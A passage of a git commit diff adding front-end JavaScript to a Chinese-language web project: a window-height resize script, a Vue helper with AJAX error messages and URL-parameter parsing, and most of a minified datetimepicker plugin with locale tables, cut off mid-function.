feat: 项目基础框架+配置+Kernel

This commit is contained in:
testadmin
2026-04-29 05:35:00 +08:00
parent 6ce7adcbfb
commit 9a6151fce3
5082 changed files with 437062 additions and 0 deletions
+21
View File
@@ -0,0 +1,21 @@
$(document).ready(function(e) {
//自动计算浏览器窗口高度
bodyAH=$(window).height();
mainCH();
});
$(window).resize(function(e) {
//自动计算浏览器窗口高度
bodyAH=$(window).height();
mainCH();
});
function mainCH(){
aheigh=bodyAH-$(".charttop").height();
$(".chartConbox").height(aheigh);
//$(".chartConbox").text(aheigh);
$(".chartbox").height(aheigh);
}
+77
View File
@@ -0,0 +1,77 @@
var comm = new Vue({
    data () {
return {
}
},
created: function() {
if(this.getUrlparameter("key")){
//this.searchkey=this.getUrlparameter("key");
}
$.ajaxSetup({
error:function(jqXHR, textStatus, errorThrown) {
switch(jqXHR.status) {
case(500):
diytipshow("err","服务器系统内部错误,请联系管理处理");
break;
case(401):
diytipshow("err","未登录或登录超时,请登录");
setTimeout(function () {
window.location.reload();
}, 2000)
break;
case(403):
diytipshow("err","无权限执行此操作");
break;
case(400):
diytipshow("err",JSON.parse(jqXHR.responseText).msg);
break;
case(408):
diytipshow("err","请求超时");
break;
//default:
//diytipshow("err","未知错误");
}
}.bind(this)
});
},
methods:{
sokey:function(){
},
isArrayCon:function(arr, val){
for(var i=0; i<arr.length; i++){
if(arr[i] == val)
return true;
}
return false;
},
getUrlparameter:function(nametxt){//获取网址参数
var reg = new RegExp("(^|&)" + nametxt + "=([^&]*)(&|$)", "i");
var r = window.location.search.substr(1).match(reg);
if (r != null){
return unescape(r[2]);
}else{
return null;
}
},
sTrim:function(str){
if(!str){return ''};
return str.replace(/^(\s|\u00A0)+/,'').replace(/(\s|\u00A0)+$/,'');
},
checkPhone:function(str){
var reg=/^0?1[3|4|5|6|7|8|9][0-9]\d{8}$/;
return reg.test(str);
},
searchKey:function(){
window.location.href="/search?key="+this.sTrim(this.searchkey);
}
}
});
+927
View File
@@ -0,0 +1,927 @@
!
function(e) {
function t() {
return new Date(Date.UTC.apply(Date, arguments))
}
var i = function(t, i) {
var n = this;
this.element = e(t),
this.language = i.language || this.element.data("date-language") || "zh-cn",
this.language = this.language in s ? this.language: "zh-cn",
this.isRTL = s[this.language].rtl || !1,
this.formatType = i.formatType || this.element.data("format-type") || "standard",
this.format = a.parseFormat(i.format || this.element.data("date-format") || s[this.language].format || a.getDefaultFormat(this.formatType, "input"), this.formatType),
this.isInline = !1,
this.isVisible = !1,
this.isInput = this.element.is("input"),
this.component = this.element.is(".date") ? this.element.find(".input-group-addon .icon-th, .input-group-addon .icon-time, .input-group-addon .icon-calendar").parent() : !1,
this.componentReset = this.element.is(".date") ? this.element.find(".input-group-addon .icon-remove").parent() : !1,
this.hasInput = this.component && this.element.find("input").length,
this.component && 0 === this.component.length && (this.component = !1),
this.linkField = i.linkField || this.element.data("link-field") || !1,
this.linkFormat = a.parseFormat(i.linkFormat || this.element.data("link-format") || a.getDefaultFormat(this.formatType, "link"), this.formatType),
this.minuteStep = i.minuteStep || this.element.data("minute-step") || 5,
this.pickerPosition = i.pickerPosition || this.element.data("picker-position") || "bottom-right",
this.showMeridian = i.showMeridian || this.element.data("show-meridian") || !1,
this.initialDate = i.initialDate || new Date,
this._attachEvents(),
this.formatViewType = "datetime",
"formatViewType" in i ? this.formatViewType = i.formatViewType: "formatViewType" in this.element.data() && (this.formatViewType = this.element.data("formatViewType")),
this.minView = 0,
"minView" in i ? this.minView = i.minView: "minView" in this.element.data() && (this.minView = this.element.data("min-view")),
this.minView = a.convertViewMode(this.minView),
this.maxView = a.modes.length - 1,
"maxView" in i ? this.maxView = i.maxView: "maxView" in this.element.data() && (this.maxView = this.element.data("max-view")),
this.maxView = a.convertViewMode(this.maxView),
this.wheelViewModeNavigation = !1,
"wheelViewModeNavigation" in i ? this.wheelViewModeNavigation = i.wheelViewModeNavigation: "wheelViewModeNavigation" in this.element.data() && (this.wheelViewModeNavigation = this.element.data("view-mode-wheel-navigation")),
this.wheelViewModeNavigationInverseDirection = !1,
"wheelViewModeNavigationInverseDirection" in i ? this.wheelViewModeNavigationInverseDirection = i.wheelViewModeNavigationInverseDirection: "wheelViewModeNavigationInverseDirection" in this.element.data() && (this.wheelViewModeNavigationInverseDirection = this.element.data("view-mode-wheel-navigation-inverse-dir")),
this.wheelViewModeNavigationDelay = 100,
"wheelViewModeNavigationDelay" in i ? this.wheelViewModeNavigationDelay = i.wheelViewModeNavigationDelay: "wheelViewModeNavigationDelay" in this.element.data() && (this.wheelViewModeNavigationDelay = this.element.data("view-mode-wheel-navigation-delay")),
this.startViewMode = 2,
"startView" in i ? this.startViewMode = i.startView: "startView" in this.element.data() && (this.startViewMode = this.element.data("start-view")),
this.startViewMode = a.convertViewMode(this.startViewMode),
this.viewMode = this.startViewMode,
this.viewSelect = this.minView,
"viewSelect" in i ? this.viewSelect = i.viewSelect: "viewSelect" in this.element.data() && (this.viewSelect = this.element.data("view-select")),
this.viewSelect = a.convertViewMode(this.viewSelect),
this.forceParse = !0,
"forceParse" in i ? this.forceParse = i.forceParse: "dateForceParse" in this.element.data() && (this.forceParse = this.element.data("date-force-parse")),
this.picker = e(a.template).appendTo(this.isInline ? this.element: "body").on({
click: e.proxy(this.click, this),
mousedown: e.proxy(this.mousedown, this)
}),
this.wheelViewModeNavigation && (e.fn.mousewheel ? this.picker.on({
mousewheel: e.proxy(this.mousewheel, this)
}) : console.log("Mouse Wheel event is not supported. Please include the jQuery Mouse Wheel plugin before enabling this option")),
this.isInline ? this.picker.addClass("datetimepicker-inline") : this.picker.addClass("datetimepicker-dropdown-" + this.pickerPosition + " dropdown-menu"),
this.isRTL && (this.picker.addClass("datetimepicker-rtl"), this.picker.find(".prev span, .next span").toggleClass("fa-arrow-left fa-arrow-right")),
e(document).on("mousedown",
function(t) {
0 === e(t.target).closest(".datetimepicker").length && n.hide()
}),
this.autoclose = !1,
"autoclose" in i ? this.autoclose = i.autoclose: "dateAutoclose" in this.element.data() && (this.autoclose = this.element.data("date-autoclose")),
this.keyboardNavigation = !0,
"keyboardNavigation" in i ? this.keyboardNavigation = i.keyboardNavigation: "dateKeyboardNavigation" in this.element.data() && (this.keyboardNavigation = this.element.data("date-keyboard-navigation")),
this.todayBtn = i.todayBtn || this.element.data("date-today-btn") || !1,
this.todayHighlight = i.todayHighlight || this.element.data("date-today-highlight") || !1,
this.weekStart = (i.weekStart || this.element.data("date-weekstart") || s[this.language].weekStart || 0) % 7,
this.weekEnd = (this.weekStart + 6) % 7,
this.startDate = -1 / 0,
this.endDate = 1 / 0,
this.daysOfWeekDisabled = [],
this.setStartDate(i.startDate || this.element.data("date-startdate")),
this.setEndDate(i.endDate || this.element.data("date-enddate")),
this.setDaysOfWeekDisabled(i.daysOfWeekDisabled || this.element.data("date-days-of-week-disabled")),
this.fillDow(),
this.fillMonths(),
this.update(),
this.showMode(),
this.isInline && this.show()
};
i.prototype = {
constructor: i,
_events: [],
_attachEvents: function() {
this._detachEvents(),
this.isInput ? this._events = [[this.element, {
focus: e.proxy(this.show, this),
keyup: e.proxy(this.update, this),
keydown: e.proxy(this.keydown, this)
}]] : this.component && this.hasInput ? (this._events = [[this.element.find("input"), {
focus: e.proxy(this.show, this),
keyup: e.proxy(this.update, this),
keydown: e.proxy(this.keydown, this)
}], [this.component, {
click: e.proxy(this.show, this)
}]], this.componentReset && this._events.push([this.componentReset, {
click: e.proxy(this.reset, this)
}])) : this.element.is("div") ? this.isInline = !0: this._events = [[this.element, {
click: e.proxy(this.show, this)
}]];
for (var t, i, s = 0; s < this._events.length; s++) t = this._events[s][0],
i = this._events[s][1],
t.on(i)
},
_detachEvents: function() {
for (var e, t, i = 0; i < this._events.length; i++) e = this._events[i][0],
t = this._events[i][1],
e.off(t);
this._events = []
},
show: function(t) {
this.picker.show(),
this.height = this.component ? this.component.outerHeight() : this.element.outerHeight(),
this.forceParse && this.update(),
this.place(),
e(window).on("resize", e.proxy(this.place, this)),
t && (t.stopPropagation(), t.preventDefault()),
this.isVisible = !0,
this.element.trigger({
type: "show",
date: this.date
})
},
hide: function() {
this.isVisible && (this.isInline || (this.picker.hide(), e(window).off("resize", this.place), this.viewMode = this.startViewMode, this.showMode(), this.isInput || e(document).off("mousedown", this.hide), this.forceParse && (this.isInput && this.element.val() || this.hasInput && this.element.find("input").val()) && this.setValue(), this.isVisible = !1, this.element.trigger({
type: "hide",
date: this.date
})))
},
remove: function() {
this._detachEvents(),
this.picker.remove(),
delete this.picker,
delete this.element.data().datetimepicker
},
getDate: function() {
var e = this.getUTCDate();
return new Date(e.getTime() + 6e4 * e.getTimezoneOffset())
},
getUTCDate: function() {
return this.date
},
setDate: function(e) {
this.setUTCDate(new Date(e.getTime() - 6e4 * e.getTimezoneOffset()))
},
setUTCDate: function(e) {
e >= this.startDate && e <= this.endDate ? (this.date = e, this.setValue(), this.viewDate = this.date, this.fill()) : this.element.trigger({
type: "outOfRange",
date: e,
startDate: this.startDate,
endDate: this.endDate
})
},
setFormat: function(e) {
this.format = a.parseFormat(e, this.formatType);
var t;
this.isInput ? t = this.element: this.component && (t = this.element.find("input")),
t && t.val() && this.setValue()
},
setValue: function() {
var t = this.getFormattedDate();
this.isInput ? this.element.val(t) : (this.component && this.element.find("input").val(t), this.element.data("date", t)),
this.linkField && e("#" + this.linkField).val(this.getFormattedDate(this.linkFormat))
},
getFormattedDate: function(e) {
return void 0 == e && (e = this.format),
a.formatDate(this.date, e, this.language, this.formatType)
},
setStartDate: function(e) {
this.startDate = e || -1 / 0,
this.startDate !== -1 / 0 && (this.startDate = a.parseDate(this.startDate, this.format, this.language, this.formatType)),
this.update(),
this.updateNavArrows()
},
setEndDate: function(e) {
this.endDate = e || 1 / 0,
1 / 0 !== this.endDate && (this.endDate = a.parseDate(this.endDate, this.format, this.language, this.formatType)),
this.update(),
this.updateNavArrows()
},
setDaysOfWeekDisabled: function(t) {
this.daysOfWeekDisabled = t || [],
e.isArray(this.daysOfWeekDisabled) || (this.daysOfWeekDisabled = this.daysOfWeekDisabled.split(/,\s*/)),
this.daysOfWeekDisabled = e.map(this.daysOfWeekDisabled,
function(e) {
return parseInt(e, 10)
}),
this.update(),
this.updateNavArrows()
},
place: function() {
if (!this.isInline) {
var t = 0;
e("div").each(function() {
var i = parseInt(e(this).css("zIndex"), 10);
i > t && (t = i)
});
var i,
s,
a,
n = t + 10;
this.component ? (i = this.component.offset(), a = i.left, ("bottom-left" == this.pickerPosition || "top-left" == this.pickerPosition) && (a += this.component.outerWidth() - this.picker.outerWidth())) : (i = this.element.offset(), a = i.left),
s = "top-left" == this.pickerPosition || "top-right" == this.pickerPosition ? i.top - this.picker.outerHeight() : i.top + this.height,
this.picker.css({
top: s,
left: a,
zIndex: n
})
}
},
update: function() {
var e,
t = !1;
arguments && arguments.length && ("string" == typeof arguments[0] || arguments[0] instanceof Date) ? (e = arguments[0], t = !0) : (e = this.element.data("date") || (this.isInput ? this.element.val() : this.element.find("input").val()) || this.initialDate, ("string" == typeof e || e instanceof String) && (e = e.replace(/^\s+|\s+$/g, ""))),
e || (e = new Date, t = !1),
this.date = a.parseDate(e, this.format, this.language, this.formatType),
t && this.setValue(),
this.viewDate = this.date < this.startDate ? new Date(this.startDate) : this.date > this.endDate ? new Date(this.endDate) : new Date(this.date),
this.fill()
},
fillDow: function() {
for (var e = this.weekStart, t = "<tr>"; e < this.weekStart + 7;) t += '<th class="dow">' + s[this.language].daysMin[e++%7] + "</th>";
t += "</tr>",
this.picker.find(".datetimepicker-days thead").append(t)
},
fillMonths: function() {
for (var e = "", t = 0; 12 > t;) e += '<span class="month">' + s[this.language].monthsShort[t++] + "</span>";
this.picker.find(".datetimepicker-months td").html(e)
},
fill: function() {
if (null != this.date && null != this.viewDate) {
var i = new Date(this.viewDate),
n = i.getUTCFullYear(),
h = i.getUTCMonth(),
o = i.getUTCDate(),
r = i.getUTCHours(),
d = i.getUTCMinutes(),
l = this.startDate !== -1 / 0 ? this.startDate.getUTCFullYear() : -1 / 0,
u = this.startDate !== -1 / 0 ? this.startDate.getUTCMonth() : -1 / 0,
c = 1 / 0 !== this.endDate ? this.endDate.getUTCFullYear() : 1 / 0,
m = 1 / 0 !== this.endDate ? this.endDate.getUTCMonth() : 1 / 0,
p = new t(this.date.getUTCFullYear(), this.date.getUTCMonth(), this.date.getUTCDate()).valueOf(),
v = new Date;
if (this.picker.find(".datetimepicker-days thead th:eq(1)").text(s[this.language].months[h] + " " + n), "time" == this.formatViewType) {
var g = r % 12 ? r % 12: 12,
f = (10 > g ? "0": "") + g,
w = (10 > d ? "0": "") + d,
D = s[this.language].meridiem[12 > r ? 0: 1];
this.picker.find(".datetimepicker-hours thead th:eq(1)").text(f + ":" + w + " " + D.toUpperCase()),
this.picker.find(".datetimepicker-minutes thead th:eq(1)").text(f + ":" + w + " " + D.toUpperCase())
} else this.picker.find(".datetimepicker-hours thead th:eq(1)").text(o + " " + s[this.language].months[h] + " " + n),
this.picker.find(".datetimepicker-minutes thead th:eq(1)").text(o + " " + s[this.language].months[h] + " " + n);
this.picker.find("tfoot th.today").text(s[this.language].today).toggle(this.todayBtn !== !1),
this.updateNavArrows(),
this.fillMonths();
var y = t(n, h - 1, 28, 0, 0, 0, 0),
T = a.getDaysInMonth(y.getUTCFullYear(), y.getUTCMonth());
y.setUTCDate(T),
y.setUTCDate(T - (y.getUTCDay() - this.weekStart + 7) % 7);
var M = new Date(y);
M.setUTCDate(M.getUTCDate() + 42),
M = M.valueOf();
for (var C, k = []; y.valueOf() < M;) y.getUTCDay() == this.weekStart && k.push("<tr>"),
C = "",
y.getUTCFullYear() < n || y.getUTCFullYear() == n && y.getUTCMonth() < h ? C += " old": (y.getUTCFullYear() > n || y.getUTCFullYear() == n && y.getUTCMonth() > h) && (C += " new"),
this.todayHighlight && y.getUTCFullYear() == v.getFullYear() && y.getUTCMonth() == v.getMonth() && y.getUTCDate() == v.getDate() && (C += " today"),
y.valueOf() == p && (C += " active"),
(y.valueOf() + 864e5 <= this.startDate || y.valueOf() > this.endDate || -1 !== e.inArray(y.getUTCDay(), this.daysOfWeekDisabled)) && (C += " disabled"),
k.push('<td class="day' + C + '">' + y.getUTCDate() + "</td>"),
y.getUTCDay() == this.weekEnd && k.push("</tr>"),
y.setUTCDate(y.getUTCDate() + 1);
this.picker.find(".datetimepicker-days tbody").empty().append(k.join("")),
k = [];
for (var U = "", b = "", V = "", S = 0; 24 > S; S++) {
var F = t(n, h, o, S);
C = "",
F.valueOf() + 36e5 <= this.startDate || F.valueOf() > this.endDate ? C += " disabled": r == S && (C += " active"),
this.showMeridian && 2 == s[this.language].meridiem.length ? (b = 12 > S ? s[this.language].meridiem[0] : s[this.language].meridiem[1], b != V && ("" != V && k.push("</fieldset>"), k.push('<fieldset class="hour"><legend>' + b.toUpperCase() + "</legend>")), V = b, U = S % 12 ? S % 12: 12, k.push('<span class="hour' + C + " hour_" + (12 > S ? "am": "pm") + '">' + U + "</span>"), 23 == S && k.push("</fieldset>")) : (U = S + ":00", k.push('<span class="hour' + C + '">' + U + "</span>"))
}
this.picker.find(".datetimepicker-hours td").html(k.join("")),
k = [],
U = "",
b = "",
V = "";
for (var S = 0; 60 > S; S += this.minuteStep) {
var F = t(n, h, o, r, S, 0);
C = "",
F.valueOf() < this.startDate || F.valueOf() > this.endDate ? C += " disabled": Math.floor(d / this.minuteStep) == Math.floor(S / this.minuteStep) && (C += " active"),
this.showMeridian && 2 == s[this.language].meridiem.length ? (b = 12 > r ? s[this.language].meridiem[0] : s[this.language].meridiem[1], b != V && ("" != V && k.push("</fieldset>"), k.push('<fieldset class="minute"><legend>' + b.toUpperCase() + "</legend>")), V = b, U = r % 12 ? r % 12: 12, k.push('<span class="minute' + C + '">' + U + ":" + (10 > S ? "0" + S: S) + "</span>"), 59 == S && k.push("</fieldset>")) : (U = S + ":00", k.push('<span class="minute' + C + '">' + r + ":" + (10 > S ? "0" + S: S) + "</span>"))
}
this.picker.find(".datetimepicker-minutes td").html(k.join(""));
var x = this.date.getUTCFullYear(),
H = this.picker.find(".datetimepicker-months").find("th:eq(1)").text(n).end().find("span").removeClass("active");
x == n && H.eq(this.date.getUTCMonth()).addClass("active"),
(l > n || n > c) && H.addClass("disabled"),
n == l && H.slice(0, u).addClass("disabled"),
n == c && H.slice(m + 1).addClass("disabled"),
k = "",
n = 10 * parseInt(n / 10, 10);
var N = this.picker.find(".datetimepicker-years").find("th:eq(1)").text(n + "-" + (n + 9)).end().find("td");
n -= 1;
for (var S = -1; 11 > S; S++) k += '<span class="year' + ( - 1 == S || 10 == S ? " old": "") + (x == n ? " active": "") + (l > n || n > c ? " disabled": "") + '">' + n + "</span>",
n += 1;
N.html(k),
this.place()
}
},
updateNavArrows: function() {
var e = new Date(this.viewDate),
t = e.getUTCFullYear(),
i = e.getUTCMonth(),
s = e.getUTCDate(),
a = e.getUTCHours();
switch (this.viewMode) {
case 0:
this.startDate !== -1 / 0 && t <= this.startDate.getUTCFullYear() && i <= this.startDate.getUTCMonth() && s <= this.startDate.getUTCDate() && a <= this.startDate.getUTCHours() ? this.picker.find(".prev").css({
visibility: "hidden"
}) : this.picker.find(".prev").css({
visibility: "visible"
}),
1 / 0 !== this.endDate && t >= this.endDate.getUTCFullYear() && i >= this.endDate.getUTCMonth() && s >= this.endDate.getUTCDate() && a >= this.endDate.getUTCHours() ? this.picker.find(".next").css({
visibility: "hidden"
}) : this.picker.find(".next").css({
visibility: "visible"
});
break;
case 1:
this.startDate !== -1 / 0 && t <= this.startDate.getUTCFullYear() && i <= this.startDate.getUTCMonth() && s <= this.startDate.getUTCDate() ? this.picker.find(".prev").css({
visibility: "hidden"
}) : this.picker.find(".prev").css({
visibility: "visible"
}),
1 / 0 !== this.endDate && t >= this.endDate.getUTCFullYear() && i >= this.endDate.getUTCMonth() && s >= this.endDate.getUTCDate() ? this.picker.find(".next").css({
visibility: "hidden"
}) : this.picker.find(".next").css({
visibility: "visible"
});
break;
case 2:
this.startDate !== -1 / 0 && t <= this.startDate.getUTCFullYear() && i <= this.startDate.getUTCMonth() ? this.picker.find(".prev").css({
visibility: "hidden"
}) : this.picker.find(".prev").css({
visibility: "visible"
}),
1 / 0 !== this.endDate && t >= this.endDate.getUTCFullYear() && i >= this.endDate.getUTCMonth() ? this.picker.find(".next").css({
visibility: "hidden"
}) : this.picker.find(".next").css({
visibility: "visible"
});
break;
case 3:
case 4:
this.startDate !== -1 / 0 && t <= this.startDate.getUTCFullYear() ? this.picker.find(".prev").css({
visibility: "hidden"
}) : this.picker.find(".prev").css({
visibility: "visible"
}),
1 / 0 !== this.endDate && t >= this.endDate.getUTCFullYear() ? this.picker.find(".next").css({
visibility: "hidden"
}) : this.picker.find(".next").css({
visibility: "visible"
})
}
},
mousewheel: function(t) {
if (t.preventDefault(), t.stopPropagation(), !this.wheelPause) {
this.wheelPause = !0;
var i = t.originalEvent,
s = i.wheelDelta,
a = s > 0 ? 1: 0 === s ? 0: -1;
this.wheelViewModeNavigationInverseDirection && (a = -a),
this.showMode(a),
setTimeout(e.proxy(function() {
this.wheelPause = !1
},
this), this.wheelViewModeNavigationDelay)
}
},
click: function(i) {
i.stopPropagation(),
i.preventDefault();
var s = e(i.target).closest("span, td, th, legend");
if (1 == s.length) {
if (s.is(".disabled")) return this.element.trigger({
type: "outOfRange",
date: this.viewDate,
startDate: this.startDate,
endDate: this.endDate
}),
void 0;
switch (s[0].nodeName.toLowerCase()) {
case "th":
switch (s[0].className) {
case "switch":
this.showMode(1);
break;
case "prev":
case "next":
var n = a.modes[this.viewMode].navStep * ("prev" == s[0].className ? -1: 1);
switch (this.viewMode) {
case 0:
this.viewDate = this.moveHour(this.viewDate, n);
break;
case 1:
this.viewDate = this.moveDate(this.viewDate, n);
break;
case 2:
this.viewDate = this.moveMonth(this.viewDate, n);
break;
case 3:
case 4:
this.viewDate = this.moveYear(this.viewDate, n)
}
this.fill();
break;
case "today":
var h = new Date;
h = t(h.getFullYear(), h.getMonth(), h.getDate(), h.getHours(), h.getMinutes(), h.getSeconds(), 0),
h < this.startDate ? h = this.startDate: h > this.endDate && (h = this.endDate),
this.viewMode = this.startViewMode,
this.showMode(0),
this._setDate(h),
this.fill(),
this.autoclose && this.hide()
}
break;
case "span":
if (!s.is(".disabled")) {
var o = this.viewDate.getUTCFullYear(),
r = this.viewDate.getUTCMonth(),
d = this.viewDate.getUTCDate(),
l = this.viewDate.getUTCHours(),
u = this.viewDate.getUTCMinutes(),
c = this.viewDate.getUTCSeconds();
if (s.is(".month") ? (this.viewDate.setUTCDate(1), r = s.parent().find("span").index(s), d = this.viewDate.getUTCDate(), this.viewDate.setUTCMonth(r), this.element.trigger({
type: "changeMonth",
date: this.viewDate
}), this.viewSelect >= 3 && this._setDate(t(o, r, d, l, u, c, 0))) : s.is(".year") ? (this.viewDate.setUTCDate(1), o = parseInt(s.text(), 10) || 0, this.viewDate.setUTCFullYear(o), this.element.trigger({
type: "changeYear",
date: this.viewDate
}), this.viewSelect >= 4 && this._setDate(t(o, r, d, l, u, c, 0))) : s.is(".hour") ? (l = parseInt(s.text(), 10) || 0, (s.hasClass("hour_am") || s.hasClass("hour_pm")) && (12 == l && s.hasClass("hour_am") ? l = 0: 12 != l && s.hasClass("hour_pm") && (l += 12)), this.viewDate.setUTCHours(l), this.element.trigger({
type: "changeHour",
date: this.viewDate
}), this.viewSelect >= 1 && this._setDate(t(o, r, d, l, u, c, 0))) : s.is(".minute") && (u = parseInt(s.text().substr(s.text().indexOf(":") + 1), 10) || 0, this.viewDate.setUTCMinutes(u), this.element.trigger({
type: "changeMinute",
date: this.viewDate
}), this.viewSelect >= 0 && this._setDate(t(o, r, d, l, u, c, 0))), 0 != this.viewMode) {
var m = this.viewMode;
this.showMode( - 1),
this.fill(),
m == this.viewMode && this.autoclose && this.hide()
} else this.fill(),
this.autoclose && this.hide()
}
break;
case "td":
if (s.is(".day") && !s.is(".disabled")) {
var d = parseInt(s.text(), 10) || 1,
o = this.viewDate.getUTCFullYear(),
r = this.viewDate.getUTCMonth(),
l = this.viewDate.getUTCHours(),
u = this.viewDate.getUTCMinutes(),
c = this.viewDate.getUTCSeconds();
s.is(".old") ? 0 === r ? (r = 11, o -= 1) : r -= 1: s.is(".new") && (11 == r ? (r = 0, o += 1) : r += 1),
this.viewDate.setUTCFullYear(o),
this.viewDate.setUTCMonth(r, d),
this.element.trigger({
type: "changeDay",
date: this.viewDate
}),
this.viewSelect >= 2 && this._setDate(t(o, r, d, l, u, c, 0))
}
var m = this.viewMode;
this.showMode( - 1),
this.fill(),
m == this.viewMode && this.autoclose && this.hide()
}
}
},
_setDate: function(e, t) {
t && "date" != t || (this.date = e),
t && "view" != t || (this.viewDate = e),
this.fill(),
this.setValue();
var i;
this.isInput ? i = this.element: this.component && (i = this.element.find("input")),
i && (i.change(), this.autoclose && (!t || "date" == t)),
this.element.trigger({
type: "changeDate",
date: this.date
})
},
moveMinute: function(e, t) {
if (!t) return e;
var i = new Date(e.valueOf());
return i.setUTCMinutes(i.getUTCMinutes() + t * this.minuteStep),
i
},
moveHour: function(e, t) {
if (!t) return e;
var i = new Date(e.valueOf());
return i.setUTCHours(i.getUTCHours() + t),
i
},
moveDate: function(e, t) {
if (!t) return e;
var i = new Date(e.valueOf());
return i.setUTCDate(i.getUTCDate() + t),
i
},
moveMonth: function(e, t) {
if (!t) return e;
var i,
s,
a = new Date(e.valueOf()),
n = a.getUTCDate(),
h = a.getUTCMonth(),
o = Math.abs(t);
if (t = t > 0 ? 1: -1, 1 == o) s = -1 == t ?
function() {
return a.getUTCMonth() == h
}: function() {
return a.getUTCMonth() != i
},
i = h + t,
a.setUTCMonth(i),
(0 > i || i > 11) && (i = (i + 12) % 12);
else {
for (var r = 0; o > r; r++) a = this.moveMonth(a, t);
i = a.getUTCMonth(),
a.setUTCDate(n),
s = function() {
return i != a.getUTCMonth()
}
}
for (; s();) a.setUTCDate(--n),
a.setUTCMonth(i);
return a
},
moveYear: function(e, t) {
return this.moveMonth(e, 12 * t)
},
dateWithinRange: function(e) {
return e >= this.startDate && e <= this.endDate
},
keydown: function(e) {
if (this.picker.is(":not(:visible)")) return 27 == e.keyCode && this.show(),
void 0;
var t,
i,
s,
a = !1;
switch (e.keyCode) {
case 27:
this.hide(),
e.preventDefault();
break;
case 37:
case 39:
if (!this.keyboardNavigation) break;
t = 37 == e.keyCode ? -1: 1,
viewMode = this.viewMode,
e.ctrlKey ? viewMode += 2: e.shiftKey && (viewMode += 1),
4 == viewMode ? (i = this.moveYear(this.date, t), s = this.moveYear(this.viewDate, t)) : 3 == viewMode ? (i = this.moveMonth(this.date, t), s = this.moveMonth(this.viewDate, t)) : 2 == viewMode ? (i = this.moveDate(this.date, t), s = this.moveDate(this.viewDate, t)) : 1 == viewMode ? (i = this.moveHour(this.date, t), s = this.moveHour(this.viewDate, t)) : 0 == viewMode && (i = this.moveMinute(this.date, t), s = this.moveMinute(this.viewDate, t)),
this.dateWithinRange(i) && (this.date = i, this.viewDate = s, this.setValue(), this.update(), e.preventDefault(), a = !0);
break;
case 38:
case 40:
if (!this.keyboardNavigation) break;
t = 38 == e.keyCode ? -1: 1,
viewMode = this.viewMode,
e.ctrlKey ? viewMode += 2: e.shiftKey && (viewMode += 1),
4 == viewMode ? (i = this.moveYear(this.date, t), s = this.moveYear(this.viewDate, t)) : 3 == viewMode ? (i = this.moveMonth(this.date, t), s = this.moveMonth(this.viewDate, t)) : 2 == viewMode ? (i = this.moveDate(this.date, 7 * t), s = this.moveDate(this.viewDate, 7 * t)) : 1 == viewMode ? this.showMeridian ? (i = this.moveHour(this.date, 6 * t), s = this.moveHour(this.viewDate, 6 * t)) : (i = this.moveHour(this.date, 4 * t), s = this.moveHour(this.viewDate, 4 * t)) : 0 == viewMode && (i = this.moveMinute(this.date, 4 * t), s = this.moveMinute(this.viewDate, 4 * t)),
this.dateWithinRange(i) && (this.date = i, this.viewDate = s, this.setValue(), this.update(), e.preventDefault(), a = !0);
break;
case 13:
if (0 != this.viewMode) {
var n = this.viewMode;
this.showMode( - 1),
this.fill(),
n == this.viewMode && this.autoclose && this.hide()
} else this.fill(),
this.autoclose && this.hide();
e.preventDefault();
break;
case 9:
this.hide()
}
if (a) {
var h;
this.isInput ? h = this.element: this.component && (h = this.element.find("input")),
h && h.change(),
this.element.trigger({
type: "changeDate",
date: this.date
})
}
},
showMode: function(e) {
if (e) {
var t = Math.max(0, Math.min(a.modes.length - 1, this.viewMode + e));
t >= this.minView && t <= this.maxView && (this.element.trigger({
type: "changeMode",
date: this.viewDate,
oldViewMode: this.viewMode,
newViewMode: t
}), this.viewMode = t)
}
this.picker.find(">div").hide().filter(".datetimepicker-" + a.modes[this.viewMode].clsName).css("display", "block"),
this.updateNavArrows()
},
reset: function() {
this._setDate(null, "date")
}
},
e.fn.datetimepicker = function(t) {
var s = Array.apply(null, arguments);
return s.shift(),
this.each(function() {
var a = e(this),
n = a.data("datetimepicker"),
h = "object" == typeof t && t;
n || a.data("datetimepicker", n = new i(this, e.extend({},
e.fn.datetimepicker.defaults, h))),
"string" == typeof t && "function" == typeof n[t] && n[t].apply(n, s)
})
},
e.fn.datetimepicker.defaults = {},
e.fn.datetimepicker.Constructor = i;
var s = e.fn.datetimepicker.dates = {
en: {
days: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"],
daysShort: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"],
daysMin: ["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa", "Su"],
months: ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"],
monthsShort: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"],
meridiem: ["am", "pm"],
suffix: ["st", "nd", "rd", "th"],
today: "Today"
}
};
s["zh-cn"] = {
days: ["星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六", "星期日"],
daysShort: ["周日", "周一", "周二", "周三", "周四", "周五", "周六", "周日"],
daysMin: ["日", "一", "二", "三", "四", "五", "六", "日"],
months: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"],
monthsShort: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"],
today: "今日",
suffix: [],
meridiem: []
},
s["zh-tw"] = {
days: ["星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六", "星期日"],
daysShort: ["周日", "周一", "周二", "周三", "周四", "周五", "周六", "周日"],
daysMin: ["日", "一", "二", "三", "四", "五", "六", "日"],
months: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"],
monthsShort: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"],
today: "今天",
suffix: [],
meridiem: ["上午", "下午"]
};
var a = {
modes: [{
clsName: "minutes",
navFnc: "Hours",
navStep: 1
},
{
clsName: "hours",
navFnc: "Date",
navStep: 1
},
{
clsName: "days",
navFnc: "Month",
navStep: 1
},
{
clsName: "months",
navFnc: "FullYear",
navStep: 1
},
{
clsName: "years",
navFnc: "FullYear",
navStep: 10
}],
isLeapYear: function(e) {
return 0 === e % 4 && 0 !== e % 100 || 0 === e % 400
},
getDaysInMonth: function(e, t) {
return [31, a.isLeapYear(e) ? 29: 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][t]
},
getDefaultFormat: function(e, t) {
//if ("standard" == e) return "input" == t ? "yyyy-mm-dd hh:ii": "yyyy-mm-dd hh:ii:ss";
